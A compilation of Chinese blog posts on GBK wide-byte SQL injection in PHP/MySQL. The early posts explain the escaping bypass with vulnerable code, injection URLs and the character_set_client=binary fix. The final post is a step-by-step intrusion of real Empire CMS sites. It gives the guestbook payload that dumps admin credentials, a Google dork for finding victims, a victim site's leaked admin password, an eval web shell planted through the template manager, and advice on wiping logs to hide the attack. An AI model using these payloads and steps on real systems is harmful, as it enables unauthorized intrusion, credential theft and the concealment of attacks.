from : http://hi.baidu.com/_ccsec/blog/item/295157238e75fa33d40742b0.html
位元組注入也是在最近的項目中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜線\,變成了 %df\’,其中\的十六進位是 %5C ,那麼現在 %df\’ =%df%5c%27,如果程式的預設字元集是GBK等寬位元組字元集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字元,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。比如:
$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); mysql_query(”SET NAMES ‘GBK’”); mysql_select_db(”test”,$conn); $user = mysql_escape_string($_GET['user']); $pass = mysql_escape_string($_GET['pass']); $sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”; $result = mysql_query($sql,$conn); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[] = $row; } ?>
則通過以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
對應的SQL是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
解決方案:就是在初始化串連和字元集之後,使用SETcharacter_set_client=binary來設定用戶端的字元集是二進位的。如:
mysql_query(”SET character_set_client=binary”);
==================================================================
php關於寬位元組編碼的一個實驗
http://hi.baidu.com/kashifs/blog/item/385b004410c5a1186a63e51a.html
2010/12/01 06:06P.M.
以前對寬位元組還是停留在GET上,得益於toby57牛的某篇文章,深入了一下
GPC開啟了
提交:誠');phpinfo();//
轉換:誠\');phpinfo();//
<?php
$config=array('誠\');phpinfo();//');
?>
php開始處理:D5 5C 5C 27... ,先處理轉義,\ 沒有了特殊作用,變成了 D5 \ ' ...,開始執行:誠'...,單引號引入,phpinfo執行。
運氣好的話寫shell?POST提交注入?
SET character_set_connection=$dbcharset,character_set_results=$dbcharset, character_set_client=binary
前兩句防止亂碼,最後一句防止寬位元組注入。
Toby57:
在character_set_client為GBK情況下還好點,在character_set_client為binary情況下,只有藉助其它函數的轉換如iconv等來引入特殊字元。
iconv('GBK', 'UTF-8', $_GET['para']); //由GBK編碼轉為UTF-8
test.php?para=a%e5%27
可在末尾引入chr(39) 即 '
$username=iconv('UTF-8', 'GBK', $_GET['para']); //由UTF-8編碼轉為GBK
test.php?para=a%e9%8c%a6
可在末尾引入chr(92) 即 \
==================================================================
對寬字元的一些測試
一直覺得對這類漏洞成因瞭解不夠透徹,今天用了一些簡單測試。
<?php //Magic_quote_GPC = ON $conn = mysql_connect('127.0.0.1','root','root'); mysql_select_db('mysql',$conn); mysql_query("SET character_set_client='binary'") or die(mysql_error()); //mysql_query("SET character_set_client='GBK'") or die(mysql_error()); //$username=mb_convert_encoding($_GET['para'],'utf-8','gbk'); //$username=iconv('GBK', 'UTF-8', $_GET['para']); $username=iconv('UTF-8', 'GBK', $_GET['para']); //$username = stripslashes($_GET['para']); $querystr = "SELECT host FROM user WHERE user='{$username}'"; echo $querystr."<br/>"; if ($res = mysql_query($querystr)){ echo "OK..<br/>"; } else { echo "Bad..:::".mysql_error()."<br/>"; } echo dumpstr($username); function dumpstr($string){ $tmpstr = ''; for($i=0;isset($string[$i]);$i++){ $tmpstr .= "chr(".ord($string[$i]).")."; } return substr($tmpstr,0,-1); } ?>
在character_set_client為GBK情況下還好點,在character_set_client為binary情況下,只有藉助其它函數的轉換如iconv等來引入特殊字元。
iconv('GBK', 'UTF-8',$_GET['para']);//由GBK編碼轉為UTF-8
test.php?para=a%e5%27
可在末尾引入chr(39)即'。
$username=iconv('UTF-8','GBK', $_GET['para']);//由UTF-8編碼轉為GBK
test.php?para=a%e9%8c%a6
可在末尾引入chr(92)即\。
==================================================================
還是寬字元。。
今天 發現了以前對mysql_real_escape_string的誤解,以前以為SET NAMES gbk加上real_escape就安全了,結果不是這樣,real_escape會根據當前串連的字元集進行編碼,但僅僅SET NAMES並不會改變字元集,測試 如下:
返回
要想通知PHP改變當前串連字元集還得使用mysql_set_charset()才行,做個簡單記錄。
參考 :
http://www.laruence.com/2010/04/12/1396.html
http://www.mirecle.com/2010/04/13/php-in-the-set-names-and-mysql_set_charset.html
http://topic.csdn.net/u/20090202/10/bc90e3a2-660b-443d-b1d0-6a644601bdd6.html
==================================================================
今天看了bhst的這篇文章
http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1
瞭解了寬字元注入的一些東西
php 使用php_escape_shell_cmd這個函數來轉義命令列字串時是作為單位元組處理的 而當作業系統設定了GBK、EUC-KR、SJIS等寬位元組字元集時候,將這些命令列字串傳遞給MySQL處理時是作為多位元組處理的
例如這裡:
http://localhost/gbk.php?username=%df%27 //多位元組編碼
%df%27=運' //看,出單引號了,後面就可以構造了
http://localhost/test/b.php?username=%df%27 or1%23
sql語句類似這樣: SELECT * FROMdemo WHERE username = '運' or 1#' LIMIT 1
這樣就可以注入啦
在php的處理過程中,它是單位元組處理的,它只把輸入當作一個位元組流,而在linux設定了GBK字元集的時候,它的處理是雙位元組 的,大家的理解很明顯地不一致。我們查下GBK的字元集範圍為8140-FEFE,首位元組在 81-FE 之間,尾位元組在 40-FE 之間,而一個非常重要的字元\的編碼為5c,
結果就是:
神馬php內建的addslashes,mysql_escape_string,
還有php.ini的magic_quotes_gpc神馬的,都無法過濾寬位元組搞出來的單引號,注入就來了
現在修補辦法就是設定設定用戶端的字元集為二進位,
類似這樣:
mysql_query("SETCHARACTER SET 'gbk'", $conn); //不安全的 mysql_query("SETcharacter_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); //安全的
當然,這樣還不能高枕無憂,還需注意,在下面的使用中,不要將使用者輸入的東西隨便轉換編碼,
因為一旦轉換,寬字元就又來了,上面寫的二進位可只有gbk,你要是轉成utf-8,那寬字元不是又來了麼。
特別記錄下,自己以後寫代碼神馬的要注意下,假如要挖洞,也要注意,那個ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是這樣的嗎。
==================================================================
帝國CMS系統注入漏洞分析
在 介紹這個漏洞之前,有必要先明白一個概念——寬位元組注入。寬位元組注入是相對於單位元組注入而言的。單位元組注入就是大家平時的直接在帶有參數ID的URL後面 追回SQL語句進行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*
http://www.hackest.cn/article.php?id=1and 1=2/*
這個經典的判斷目標是否存在注入的例子就是單位元組注入。
說 到這裡好像還沒有看出來到底有什麼用。瞭解PHP+MySQL注入的朋友應該都明白,單引號在注入裡絕對是個好東西。尤其是,很多程式員都過分依賴於 magic_quotes_gpc或者addslashes、iconv等函數的轉義。理論上說,只要資料庫連接代碼設定了GBK編碼,或者是預設編碼就 是GBK,那現在的程式裡到處都是注入漏洞。事實上,這種變換在XSS等領域也發揮了巨大的作用,在PHP+Linux背景程式結合的時候,還可能造成命 令注入,也就是說能可以在注入點直接執行Linux系統命令。比如登入檔案login.php的代碼如下:
<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES 'GBK'"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET['user']); $pass=mysql_escape_string($_GET['pass']); $sql="select * from cms_user where username='$user' and password='$pass'"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?>
則可以通過構造以下語句進行注入:
http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL編碼,%23是#的URL編碼,Mysql注釋符之一。對應的SQL語句是:
select * fromcms_user where username='運'or 1=1 limit 1,1#' and password="
---------------------------------------------------------------------------------------
以上內容摘自網路,經過分析整理後用以說明問題,來源不詳,感謝前輩們。^-^
---------------------------------------------------------------------------------------
二、實踐
理論準備得差不多了,該來點實際的了,這次就拿帝國CMS做例子吧。帝國CMS是號稱最安全、最穩定的開源CMS(內容管理系統)。帝國CMS的留言本檔案部分代碼如下:
//許可權 if($gbr['groupid']) { include("../../class/user.php"); $user=islogin(); include("../../class/MemberLevel.php"); if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level]) { echo"<script>alert('您的會員層級不足(".$level_r[$gbr[groupid]][groupname]."),沒有許可權提交資訊!');history.go(-1);</script>"; exit(); } } esetcookie("gbookbid",$bid,0); $bname=$gbr['bname']; $search="&bid=$bid"; $page=(int)$_GET['page']; $start=(int)$_GET['start']; $line=12;//每頁顯示條數 $page_line=12;//每頁顯示連結數 $offset=$start+$page*$line;//總位移量 $totalnum=(int)$_GET['totalnum']; if($totalnum) { $num=$totalnum; } else { $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0"; $num=$empire->gettotal($totalquery);//取得總條數 } $search.="&totalnum=$num"; $query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest註解:關鍵是這一句,與上面舉例的何其相似啊! $query=$query." order by lyid desc limit $offset,$line"; $sql=$empire->query($query); $listpage=page1($num,$line,$page_line,$start,$page,$search); $url="<a href=../../../../>".$fun_r['index']."</a> > ".$fun_r['saygbook']; ?>
注 意注釋部分! 作者:hackest [H.S.T.]
注 意注釋部分!就直接拿官方測試吧,我就不本機折騰了。官方示範網站:http://demo.phome.net/,還別說,介面倒是蠻清爽的,難怪這麼 多站長用咯。直奔留言本頁面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要帶上bid=1(我下載了套 最新版的帝國CMS,e/tool/gbook目錄下就一個index.php檔案,直接存取它會有錯誤提示,並跳轉至前一個頁面)。然後下拉至“請您留 言:”處,按如下要求填寫相關資訊:
姓名:123縗\
聯絡郵箱:,1,1,1,(selectconcat(username,0x5f,password,0x5f,rnd) from phome_enewsuser whereuserid=1),1,1,1,0,0,0)/*
聯絡電話:隨便寫
留言內容:隨便寫
填好後2
提交後就能看到爆出來的使用者名稱、密碼MD5、還有rnd值了,3。
wm_chief就是開發帝國CMS的程式員。因為提交了好幾遍,在後台又刪不掉,所以有多條記錄。破解出來密碼明文就可以登入後台了,不過官方示範網站後台並沒有資料庫操作許可權,凡是涉及到資料庫的操作就會提示:
線上示範僅開放觀看許可權,與資料庫相關操作已被管理員禁止!
如果您的瀏覽器沒有自動跳轉,請點擊這裡
而 且這個MD5是線上查詢查不出來的,明文是用MD5的彩虹表破解出來的,後面會附圖。這個後台就是只能讓你看看,順便體驗一下其強大的功能(官方也提供的 示範管理使用者名和密碼均為admin,也可以登入,不過都是操作不了的),拿這個密碼去社工一下管理員,也沒有什麼意外的收穫,其部落格、論壇、郵箱、官 方網站FTP、官方網站3389等均無法進入,所以官方是搞不到Webshell了。
三、替補
官方進不去就找個替罪羊吧,Google以關鍵字“inurl:e/tool/gbook/?bid=1”搜尋,搜出來的網站99%都是用帝國CMS的。隨便找了一個,測試證明,漏洞存在,4。
可恨的是這個MD5值也是無法線上查詢出來的,又得開動彩虹表跑跑咯,把剛才官方的那個MD5也一起跑了吧,出去吃完飯回來,結果就出來了,5。
順 便囉嗦一下,如果有志於網路安全事業的發展,彩虹表還是必不可少的。什麼是彩虹表呢?就是一個龐大的、針對各種可能的字母組合預先計算好的雜湊值的集合, 不一定是針對MD5演算法的,各種演算法的都有,有了它可以快速的破解各類密碼。越是複雜的密碼,需要的彩虹表就越大,現在主流的彩虹表都是100G以上。
該進後台了,後台地址預設為e/admin/。使用者名稱:joycar,密碼:zuxywz119,順便進入後台,6。
進 了後台應該怎麼樣才能拿到Webshell呢?添加上傳尾碼,我試了下,不可行。網上搜了一下相關資料,原來在範本管理員那裡有陷阱哦。進入後台-> 範本管理員->自訂頁面->增加自訂頁面。頁面名稱隨便填,檔案名稱也得取一個,檔案名稱處可以填指定路徑,分類不必理會,頁面內容處寫入如下 代碼:
<\?phpeval($_POST[cmd]);?\>
一般的PHP一句話馬的代碼 是<?php eval($_POST[cmd]);?>,其中cmd是密碼。但是這裡一定要按上面要求的前後都要加上\,不加的話就不會成功,非常重要,務必記 住!然後點擊提交,再返回到管理自訂頁面,點擊剛才起的頁面名稱,直接跳轉至e/admin/template/hackest.php,無法找到該 頁,路徑不對嘛,當然找不到了,改成e/admin/hackest.php,再訪問,一片空白,心中竊喜,有戲了……7、圖8。
再用lanker微型PHP+ASP管理器1.0雙用版串連一句話,提交下環境變數看看,9。
再上傳一個PHP大馬就大功告成了,是Linux系統的,發行版是Red Hat Enterprise Linux AS release 4,有溢出保護,提不了權咯,10。
最 後千萬記得把剛才爆使用者名稱和密碼的那條留言刪除,再把你添加的自訂頁面也刪除,後台日誌也處理下。好多人都不知道什麼叫清理日誌,其實就是儘可能地把關 於你的操作的相關記錄刪除。比如你登入了3389,系統日誌會記錄,比如你登入了FTP,應用程式記錄檔也會記錄,比如你對這個網站做了注入攻擊,IIS或 者其他WEB應用程式也會記錄……技術過硬的管理員能從這些日誌裡分析出你的攻擊方法,攻擊來源等細節,安全工作一定要做足,萬萬馬虎不得。
四、修補
官方雖然也被爆了一段時間了,但是似乎並沒有引起足夠的重視,截止至發稿日仍然沒看到官方有任何關於修補此漏洞的解決方案(其實也不能完全算是帝國CMS的錯,編碼這個問題最近鬧得比較凶-_-)。
解 決方法:就是在初始化串連和字元集之後,使用SET character_set_client=binary來設定用戶端的字元集是二進位的。修改Windows下的MySQL設定檔一般是 my.ini,Linux下的MySQL設定檔一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL語句的編碼,如果設定為 binary,MySQL就以二進位來執行,這樣寬位元組編碼問題就沒有用武之地了。
大 家都知道PHP在開啟magic_quotes_gpc或者使用addslashes、iconv等函數的時候,單引號(')會被轉義成\'。比如字 符%bf在滿足上述條件的情況下會變成%bf\'。其中反斜線(\)的十六進位編碼是%5C,單引號(')的十六進位編碼是%27,那麼就可以得出%bf \'=%bf%5c%27。如果程式的預設字元集是GBK等寬位元組字元集,則MySQL會認為%bf%5c是一個寬字元,也就是“縗”。也就是說%bf \'=%bf%5c%27=縗'。%bf並不是唯一的一個字元,應該是%81-%FE之間的任意一個都可以。不太好理解,我們用小葵寫的一個字元轉換的小
工具來轉換一下,1。
開啟Google以關鍵字inurl:e/tool/gbook/?bid=1進行搜尋。
搜尋出來的是留言本,其實就是留言本出現漏洞了。
主要填寫您的姓名和聯絡郵箱這兩處,其它的隨便填。
您的姓名:縗\
聯絡郵箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) fromphome_enewsuser where userid=1),1,1,1,0,0,0)/*
然後進行提交返回頁面即爆出使用者名稱密碼。人品好的話,密碼破解成功後進入網站後台,後台地址 e/admin/
接著拿shell,進入後台後點頂部範本管理員。然後左邊的自訂頁面-增加自訂頁面,頁面內容填寫PHP一句話,<\?php eval($_POST[cmd]);?\>完了,回到管理自訂頁面,點擊剛才起的頁面名稱。頁面直接跳轉到e/admin/template/x.php,提示會找不到頁面,去掉template即可。真真實位址是e/admin/x.php,如顯示一片空白的話就成功了。
最後用lanker微型PHP+ASP雙用版串連一句話即可。
提示:別死心眼啊,自訂頁面內容可以改成ASP的